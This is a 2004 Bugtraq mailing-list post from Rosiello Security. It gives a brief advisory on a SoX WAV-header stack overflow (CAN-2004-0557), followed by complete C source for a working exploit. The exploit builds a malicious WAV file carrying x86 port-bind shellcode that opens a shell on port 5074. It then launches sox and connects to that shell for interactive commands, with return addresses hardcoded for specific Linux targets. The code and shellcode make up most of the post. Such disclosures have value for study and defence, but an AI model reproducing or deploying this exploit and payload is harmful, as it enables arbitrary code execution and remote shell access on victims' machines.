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Message-ID: <20040802081318.5995.qmail@www.securityfocus.com>
Date: 2 Aug 2004 08:13:18 -0000
From: Angelo Rosiello <angelo@...iello.org>
To: bugtraq@...urityfocus.com
Subject: SoX Exploiter by Rosiello Security
Rosiello Security SoX Exploiter
http://www.rosiello.org
Ulf Harnhammar reported that there are two buffer overflows in the 'sox' and 'play' commands.
The flaws reside in the st_wavstartread() function in 'wav.c', where the function reads data based on a user-supplied size variable into a buffer without checking to see if the specified amount of data will fit into the buffer.
The report indicates that older versions, including 12.17.1, 12.17 and 12.16, are not affected.
Vendors were reportedly notified on July 18, 2004.
Impact: A remote user can create a WAV file that, when processed by the target user, will execute
arbitrary code on the target system with the privileges of the SoX process.
Solution: No vendor solution was available at the time of this entry.
An exploit was produced by Rosiello Security in order to show the possibility to execute commands.
/*
Copyright © Rosiello Security 2004
http://www.rosiello.org
CVE Reference: CAN-2004-0557
Bug Type: Stack Overflow
Date: 01/08/2004
Ulf Harnhammar reported that there are two buffer overflows in the 'sox' and 'play' commands.
The flaws reside in the st_wavstartread() function in 'wav.c', where the function reads data
based on a user-supplied size variable into a buffer without checking to see if the specified
amount of data will fit into the buffer.
The report indicates that older versions, including 12.17.1, 12.17 and 12.16, are not affected.
Vendors were reportedly notified on July 18, 2004.
Impact: A remote user can create a WAV file that, when processed by the target user, will execute
arbitrary code on the target system with the privileges of the SoX process.
Solution: No vendor solution was available at the time of this entry.
**************************************************************************
!!! DO NOT USE THIS SOFTWARE TO BREAK THE LAW !!!
This exploit will create a malevolent .wav file that will execute the shellcode (it's a
port_bind() opening the port 5074)
Example:
$./sox-exploiter laser.wav malevolent.wav 0
When you play the file malevolent.wav the shellcode is executed.
AUTHOR: rave --> rave@...iello.org
AUTHOR: Angelo Rosiello --> angelo@...iello.org
WEB : http://www.rosiello.org
*/
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
/* used for stating */
#include <sys/types.h>
#include <sys/stat.h>
/* used for mmap */
#include <sys/mman.h>
/* perror() */
#include <errno.h>
/* strstr */
#include <string.h>
enum { suse, redhat, slackware };
struct tr
{
char *OS;
unsigned long ret;
} target [] = {
"SuSe 9.1 Pro",
0xbfffe9f0,
"Redhat 9.1",
0x41414141
};
signed char
shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
/*
* s0t4ipv6@...llcode.com.ar
* x86 portbind a shell in port 5074
* 92 bytes.
*/
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x40" // incl %eax
"\x89\xc3" // movl %eax,%ebx
"\x50" // pushl %eax
"\x40" // incl %eax
"\x50" // pushl %eax
"\x89\xe1" // movl %esp,%ecx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x31\xd2" // xorl %edx,%edx
"\x52" // pushl %edx
"\x66\x68\x13\xd2" // pushw $0xd213
"\x43" // incl %ebx
"\x66\x53" // pushw %bx
"\x89\xe1" // movl %esp,%ecx
"\x6a\x10" // pushl $0x10
"\x51" // pushl %ecx
"\x50" // pushl %eax
"\x89\xe1" // movl %esp,%ecx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x40" // incl %eax
"\x89\x44\x24\x04" // movl %eax,0x4(%esp,1)
"\x43" // incl %ebx
"\x43" // incl %ebx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x83\xc4\x0c" // addl $0xc,%esp
"\x52" // pushl %edx
"\x52" // pushl %edx
"\x43" // incl %ebx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x93" // xchgl %eax,%ebx
"\x89\xd1" // movl %edx,%ecx
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80
"\x41" // incl %ecx
"\x80\xf9\x03" // cmpb $0x3,%cl
"\x75\xf6" // jnz <shellcode+0x40>
"\x52" // pushl %edx
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x52" // pushl %edx
"\x53" // pushl %ebx
"\x89\xe1" // movl %esp,%ecx
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80" // int $0x80
;
signed long shelladdr =0xbfffe9f0;//0xbfffe9d8;//0xbffff3ea;
char *memap;
char *fs_io(char *filename, char *data, mode_t flags, long *size)
{
struct stat status;
int fd;
if ( data == NULL) {
if ( lstat (filename,&status) < 0)
{
printf("Input File not found\n");
exit(-1);
}
if ((fd=open ( filename , flags,0666)) == -1) {
perror("open");
exit (-1);
}
memap=mmap(0,status.st_size,PROT_READ|PROT_WRITE,MAP_PRIVATE,fd,0);
if ( memap == NULL)
{printf("allocation problem\n"); exit (-1);}
(*(long *)size) = status.st_size;
return (char *)memap;
}
}
int connect_to( char *addr)
{
struct sockaddr_in sin4;
int sock;
char in [512];
char out [512];
char banner[512];
size_t size;
sin4.sin_family = AF_INET;
sin4.sin_addr.s_addr = inet_addr(addr);
sin4.sin_port = htons(5074);
sock=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (!sock)
{
return -1;
}
if (connect (sock,(struct sockaddr *)&sin4,sizeof(struct sockaddr_in)) ==-1)
{
return -1;
}
printf("[+] Exploit success\n");
size=sprintf(banner,"%s","uname -a;\n");
write ( sock, banner, size );
while ( 1 )
{
size=read (sock,in,sizeof(in));
in[size] = '\0';
printf("%s\n",in);
scanf("%s",&out);
strcat(out,"\n");
write (sock, out,strlen(out));
memset(in,'\0',sizeof(in));
memset(out,'\0',sizeof(out));
}
}
void usage(char *file)
{
int i;
printf("USAGE:\n");
printf("SoX Exploiter by Rosiello Security\n");
printf("%s source.wav vulnerable.wav target\n", file);
for (i=0;i < 2;i++)
printf("TARGET: %d %s %x\n",i,target[i].OS,target[i].ret);
exit(0);
}
int main(int argc, char **argv)
{
char *ptr,*tmp;
int fd,count;
long sizefield,sizeloc;
int size;
char payload[500];
pid_t pid;
int opt;
if ((argc) != 4)
usage(argv[0]);
opt=atoi(argv[3]);
memap = fs_io(argv[1],NULL,O_RDWR,&size);
printf("[+] Sox Exploiter by Rosiello Security\n");
printf("[+] Opened %s size : %d\n",argv[1],size);
ptr = memap;
count =0;
do
{
ptr++;
if ((strncmp("INFOICRD",ptr,8)==0)) break;
} while ( (count ++ !=size) );
tmp = (char *)malloc ( size + 512);
tmp = memap;
ptr +=8;
sizefield = (long) ptr[0];
sizeloc = (long) (count + 8)+1;
tmp[sizeloc]=01;
tmp[sizeloc+1]=02;
if ((fd=open ( argv[2] , O_WRONLY | O_CREAT | O_TRUNC,0666)) == -1) {
perror("open");
return -1;
}
sizeloc +=2;
write(fd,tmp,sizeloc);
memset(payload,0x2e,318);
size=sprintf(payload+318,"%s%s",((char *)&target[opt].ret),shellcode);
write (fd,payload,sizeof(payload));
close(fd);
size = 0x0102 - size;
printf("[+] Coded by rave & Angelo Rosiello\n");
printf("[+] Writing evil code into %s\n", argv[2]);
printf("[+] Org sizefield = %d new sizefield = %d\n",sizefield,0x0102);
printf("[+] Overflowing the buffer with %d Bytes\n",size);
printf("[+] Executing /usr/bin/sox\n");
printf("[+] Connecting to localhost\n");
pid = fork();
if (pid ==0) {
execl("/usr/bin/sox","sox",argv[2],"-t","ossdsp","/dev/dsp" ,NULL);
};
sleep(1);
if ((connect_to("127.0.0.1")) <0)
printf("[-] Exploit failed\n");
return EXIT_SUCCESS;
}
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